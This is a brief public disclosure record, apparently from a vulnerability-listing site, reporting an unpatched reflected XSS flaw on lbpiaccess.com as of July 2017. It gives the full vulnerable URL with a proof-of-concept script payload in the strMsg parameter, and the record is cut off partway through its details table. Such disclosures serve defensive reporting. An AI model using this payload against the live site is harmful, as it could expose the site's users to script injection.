lbpiaccess.com XSS vulnerability

Vulnerable URL: https://www.lbpiaccess.com/Retail/Logout.asp?strMsg=";promptdocument.domain;// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 33845 VIP website status:| Yes Check...